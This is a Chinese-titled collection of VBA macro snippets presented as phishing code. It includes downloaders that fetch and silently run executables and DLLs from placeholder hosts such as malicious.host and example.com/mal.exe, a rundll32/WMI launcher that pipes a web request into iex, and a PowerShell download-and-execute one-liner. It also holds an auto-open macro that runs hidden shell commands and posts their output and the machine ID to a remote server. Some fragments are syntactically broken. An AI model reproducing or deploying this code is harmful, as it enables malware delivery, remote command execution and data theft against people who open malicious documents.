钓鱼常用的vba代码

Private Sub DownloadAndExecute()
    Dim droppingURL As String
    Dim localPath As String
    Dim WinHttpReq As Object, oStream As Object
    Dim result As Integer
    
    droppingURL = "https://example.com/mal.exe"
    localPath = "c://asd.exe"
    
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP")
    WinHttpReq.setOption(2) = 13056 ' Ignore cert errors
    WinHttpReq.Open "GET", droppingURL, False ', "username", "password"
    WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    WinHttpReq.Send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile localPath, 2  ' 1 = no overwrite, 2 = overwrite (will not work with file attrs)
        oStream.Close
        CreateObject("WScript.Shell").Run localPath, 0
    End If
    
End Sub

If Dir(localPath, vbHidden + vbSystem) = "" Then

Private Sub DropAndRunDll()
    Dim dll_Loc As String
    dll_Loc = Environ("AppData") & "\Microsoft\Office"
    If Dir(dll_Loc, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    VBA.ChDir dll_Loc
    VBA.ChDrive "C"
    
    'Download DLL
    Dim dll_URL As String
    dll_URL = "https://example.com/mal.dll"

    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "Saved.asd", 2
        oStream.Close

        ModuleExportedInDLL.Invoke
    End If
End Sub

Sub RunDLL()
    DownloadDLL
    Dim Str As String
    Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;"
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function


Sub DownloadDLL()
    Dim dll_Local As String
    dll_Local = Environ("TEMP") & "\powershdll.dll"
    If Not Dir(dll_Local, vbDirectory) = vbNullString Then
        Exit Sub
    End If
    
    Dim dll_URL As String
    #If Win64 Then
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
    #Else
        dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
    #End If
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    WinHttpReq.Open "GET", dll_URL, False
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile dll_Local
        oStream.Close
    End If
End Sub

powershell  (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

Dim serverUrl As String

' Auto generate at startup
Sub Workbook_Open()
    Main
End Sub
Sub AutoOpen()
    Main
End Sub

Private Sub Main()
    Dim msg As String
    serverUrl = "<<<TEMPLATE>>>"
   	msg = "<<<TEMPLATE>>>"
   	On Error GoTo byebye
    msg = PlayCmd(msg)
    SendResponse msg
    On Error GoTo 0
    byebye:
End Sub

'Sen data using http post'
'Note:
'WinHttpRequestOption_SslErrorIgnoreFlags, // 4
' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx'
Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"'
    Dim objHTTP As Object
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
    objHTTP.Option(4) = 13056  ' Ignore cert errors because self signed cert
    objHTTP.Open "POST", URL, False
    objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
    objHTTP.SetTimeouts 2000, 2000, 2000, 2000
    objHTTP.send (data)
    HttpPostData = objHTTP.responseText
End Function

' Returns target ID'
Private Function GetId() As String
    Dim myInfo As String
    Dim myID As String
    myID = Environ("COMPUTERNAME") & " " & Environ("OS")
    GetId = myID
End Function

'To send response for command'
Private Function SendResponse(cmdOutput)
    Dim data As String
    Dim response As String
    data = "id=" & GetId & "&cmdOutput=" & cmdOutput
    SendResponse = HttpPostData(serverUrl, data)
End Function

' Play and return output any command line
Private Function PlayCmd(sCmd As String) As String
    'Run a shell command, returning the output as a string'
    ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility...
    ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows
    Dim instruction As String
    instruction = "cmd.exe /c " & sCmd & " | clip"
    CreateObject("WScript.Shell").Run instruction, 0, True
    ' Read the clipboard text using htmlfile object
    PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text")
End Function